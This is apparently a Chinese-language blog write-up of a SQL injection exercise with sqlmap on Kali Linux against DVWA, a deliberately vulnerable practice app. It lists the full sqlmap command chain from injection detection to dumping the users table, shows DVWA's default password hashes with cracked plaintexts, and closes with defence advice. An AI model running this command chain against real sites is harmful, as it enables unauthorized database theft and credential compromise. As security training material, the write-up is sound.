记一次使用Kali Linux中的sqlmap进行SQL注入实战
前言
作为一名网络安全爱好者,我一直对渗透测试工具充满兴趣。尤其是Kali Linux中的各种安全工具,其中sqlmap作为一款强大的自动化SQL注入工具给我留下了深刻印象。本文将记录我使用sqlmap进行一次完整SQL注入测试的过程,最终成功获取数据库中的用户密码。
免责声明:本文仅用于教育目的,所有测试均在授权环境下进行。未经授权的渗透测试是违法行为,请务必遵守法律法规。
环境准备
-
操作系统:Kali Linux 2023.4
-
工具:sqlmap (预装在Kali中)
-
测试目标:一个专门用于安全测试的漏洞演示网站(DVWA)
步骤一:识别注入点
首先,我需要找到一个可能存在SQL注入漏洞的网站。在DVWA中,我选择了"SQL Injection"模块。
bash
# 检查目标URL是否存在注入漏洞 sqlmap -u "http://192.168.1.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=abc123" --batch
参数说明:
-
-u
: 指定目标URL -
--cookie
: 提供会话cookie(因为DVWA需要登录) -
--batch
: 使用默认选项,避免交互式提问
步骤二:确认注入点
sqlmap很快返回了结果:
[14:23:45] [INFO] testing connection to the target URL [14:23:45] [INFO] testing if the target URL content is stable [14:23:46] [INFO] target URL is stable [14:23:46] [INFO] testing if GET parameter 'id' is dynamic [14:23:46] [INFO] confirming that GET parameter 'id' is dynamic [14:23:46] [INFO] GET parameter 'id' is dynamic [14:23:46] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable [14:23:46] [INFO] testing for SQL injection on GET parameter 'id' [14:23:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [14:23:47] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
结果表明id
参数存在基于布尔的盲注漏洞。
步骤三:获取数据库信息
确认注入点后,我开始枚举数据库信息:
bash
# 获取当前数据库名称 sqlmap -u "http://192.168.1.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=abc123" --current-db --batch
输出显示当前数据库为dvwa
。
bash
# 获取数据库中的所有表 sqlmap -u "http://192.168.1.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=abc123" -D dvwa --tables --batch
输出中包含了一个名为users
的表,这通常包含用户凭证信息。
步骤四:提取用户表数据
bash
# 获取users表的结构 sqlmap -u "http://192.168.1.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=abc123" -D dvwa -T users --columns --batch
结果显示表中有user_id
, first_name
, last_name
, user
, password
等列。
bash
# 提取用户和密码数据 sqlmap -u "http://192.168.1.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=abc123" -D dvwa -T users -C user,password --dump --batch
步骤五:破解哈希密码
sqlmap成功提取了用户凭证:
+---------+--------------------------------------------------+ | user | password | +---------+--------------------------------------------------+ | admin | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | | gordonb | e99a18c428cb38d5f260853678922e03 (abc123) | | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | +---------+--------------------------------------------------+
sqlmap自动识别出这些是MD5哈希,并尝试使用内置字典进行破解,成功破解出了部分密码(括号中为明文)。
步骤六:提升权限(可选)
在实际渗透测试中,获取数据库密码后,可以尝试:
-
使用这些凭证登录系统
-
检查密码重用情况
-
尝试提升权限
防御建议
通过这次测试,我总结了以下几点防御SQL注入的建议:
-
使用参数化查询或预处理语句
-
实施最小权限原则
-
对用户输入进行严格过滤和验证
-
使用Web应用防火墙(WAF)
-
定期进行安全审计和渗透测试
总结
这次使用sqlmap进行SQL注入测试的经历让我深刻理解了:
-
SQL注入的危害性
-
自动化工具的强大能力
-
数据库安全配置的重要性
-
密码哈希的必要性
作为防御方,我们应该时刻保持警惕,做好安全防护;作为安全研究人员,我们要不断学习新技术,才能更好地保护系统安全。
再次强调:所有安全测试必须在合法授权范围内进行,未经授权的测试是违法行为。